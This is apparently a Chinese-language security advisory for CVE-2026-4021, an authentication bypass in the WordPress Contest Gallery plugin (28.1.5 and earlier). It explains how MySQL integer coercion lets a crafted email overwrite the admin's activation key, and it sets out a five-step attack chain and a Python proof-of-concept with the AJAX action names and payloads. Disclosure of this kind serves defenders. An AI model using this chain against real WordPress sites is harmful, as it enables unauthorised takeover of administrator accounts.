IPBUF安全漏洞报告
English
CVE-2026-4021 CVSS 8.1 高危

CVE-2026-4021 WordPress Contest Gallery认证绕过漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-4021
漏洞类型
认证绕过
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Contest Gallery Plugin

相关标签

WordPress认证绕过Contest GallerySQL逻辑漏洞权限提升

漏洞概述

WordPress插件Contest Gallery在28.1.5及之前版本中存在严重的安全漏洞,导致未经身份验证的攻击者可以绕过认证机制并接管管理员账户。该漏洞源于插件在处理邮件确认时,错误地将邮箱字符串用于数据库ID查询,结合未授权的基于密钥的登录端点,攻击者利用MySQL整数类型转换特性覆盖管理员激活密钥,从而获得网站完全控制权。

技术细节

该漏洞的核心在于两个关键代码逻辑缺陷的协同利用。首先,在`users-registry-check-after-email-or-pin-confirmation.php`中,SQL语句使用了`WHERE ID = %s`,本应传入数字型用户ID,实际却接收了字符串型邮箱。其次,`ajax-functions-frontend.php`中的`post_cg1l_login_user_by_key`接口允许无需凭证登录。利用条件是开启`RegMailOptional=1`。攻击者注册以目标管理员ID(如1)开头的邮箱(如`[email protected]`),在触发确认流程时,MySQL将`[email protected]`强制转换为整数`1`,导致管理员的`user_activation_key`被攻击者生成的密钥覆盖。最后,攻击者调用AJAX接口使用该密钥登录,成功接管管理员权限。

攻击链分析

STEP 1
侦察
识别目标站点是否安装WordPress Contest Gallery插件,并确认版本号小于等于28.1.5。
STEP 2
配置检查
确认插件是否启用了非默认设置RegMailOptional=1,这是利用该漏洞的必要条件。
STEP 3
恶意注册
攻击者注册一个新账户,邮箱地址经过精心构造,以目标管理员的数字ID开头(例如:[email protected])。
STEP 4
逻辑触发
触发邮件确认流程,利用MySQL整数强制转换特性,将攻击者的激活密钥写入管理员账户记录。
STEP 5
权限夺取
调用未授权的post_cg1l_login_user_by_key接口,使用被覆盖的激活密钥以管理员身份登录,获取站点控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target_url = "http://target-wordpress-site.com" admin_id = 1 # Crafted email starting with target Admin ID crafted_email = f"{admin_id}[email protected]" # Step 1: Register with crafted email (RegMailOptional=1 required) register_payload = { "action": "cg_registration_action", # Placeholder for specific plugin action "email": crafted_email } # r = requests.post(f"{target_url}/wp-admin/admin-ajax.php", data=register_payload) # Step 2: Trigger confirmation flow # This causes SQL: UPDATE ... SET user_activation_key = ... WHERE ID = '[email protected]' # MySQL converts '[email protected]' to integer 1, overwriting Admin's key. # Step 3: Authenticate as Admin using the AJAX endpoint login_payload = { "action": "post_cg1l_login_user_by_key", "key": "GENERATED_KEY_FROM_STEP_1" } # r = requests.post(f"{target_url}/wp-admin/admin-ajax.php", data=login_payload) print(f"Attempted takeover of Admin ID {admin_id} using email {crafted_email}")

影响范围

WordPress Contest Gallery Plugin <= 28.1.5

防御指南

临时缓解措施
如果无法立即升级插件,管理员应立即检查插件设置,确保RegMailOptional选项处于关闭状态。此外,建议限制wp-admin目录的访问IP,并启用Web应用防火墙(WAF)以拦截异常的AJAX请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表